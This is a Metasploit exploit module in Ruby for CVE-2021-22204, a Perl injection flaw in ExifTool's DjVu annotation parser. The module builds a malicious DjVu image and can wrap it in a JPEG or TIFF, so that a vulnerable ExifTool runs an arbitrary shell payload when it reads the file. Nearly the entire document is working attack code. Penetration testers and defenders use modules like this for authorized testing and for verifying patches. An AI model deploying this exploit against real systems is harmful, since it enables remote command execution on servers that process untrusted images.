##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ExifTool DjVu ANT Perl injection',
        'Description' => %q{
          This module exploits a Perl injection vulnerability in the DjVu ANT
          parsing code of ExifTool versions 7.44 through 12.23 inclusive. The
          injection is used to execute a shell command using Perl backticks.
          The DjVu image can be embedded in a wrapper image using the
          HasselbladExif EXIF field.
        },
        'Author' => [
          'William Bowling',   # Vulnerability discovery
          'Justin Steven'      # Metasploit module
        ],
        'References' => [
          %w[CVE 2021-22204],
          %w[URL https://twitter.com/wcbowling/status/1385803927321415687],
          %w[URL https://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031],
          %w[URL https://www.openwall.com/lists/oss-security/2021/05/10/5]
        ],
        'DisclosureDate' => '2021-05-24',
        'License' => MSF_LICENSE,
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Privileged' => false,
        'Payload' => {
          'DisableNops' => true,
          'Space' => 2000,
          'BadChars' => "\x22\x24\x40\x60\x5c" # ", $, @, ` and \
        },
        'Targets' => [
          ['JPEG file', { template: 'msf.jpg' }],
          ['TIFF file', { template: 'msf.tif' }],
          ['DjVu file', { template: 'msf.djvu' }]
        ],
        'DefaultTarget' => 0
      )
    )

    register_options([
      OptString.new('FILENAME', [true, 'Output file', 'msf.jpg'])
    ])
  end

  def exploit
    p = payload.encoded

    buf = djvu_template.sub('echo vulnerable > /dev/tty', p)
    buf[8, 4] = [209 + p.length].pack('L>')     # Fix up DJVM length
    buf[174, 4] = [43 + p.length].pack('L>')    # Fix up DJVI length
    buf[186, 4] = [31 + p.length].pack('L>')    # Fix up ANTa length

    if target.name == 'JPEG file'
      jpeg_buf = jpeg_template
      jpeg_buf[86, 2221] = buf + Rex::Text.rand_text_alphanumeric(2221 - buf.length)
      buf = jpeg_buf
    elsif target.name == 'TIFF file'
      tif_buf = tif_template
      tif_buf[206, 2221] = buf + Rex::Text.rand_text_alphanumeric(2221 - buf.length)
      buf = tif_buf
    end

    file_create(buf)
  end

  def djvu_template
    File.read(File.join(
      Msf::Config.data_directory, 'exploits', 'CVE-2021-22204', 'msf.djvu'
    ))
  end

  def jpeg_template
    File.read(File.join(
      Msf::Config.data_directory, 'exploits', 'CVE-2021-22204', 'msf.jpg'
    ))
  end

  def tif_template
    File.read(File.join(
      Msf::Config.data_directory, 'exploits', 'CVE-2021-22204', 'msf.tif'
    ))
  end
end
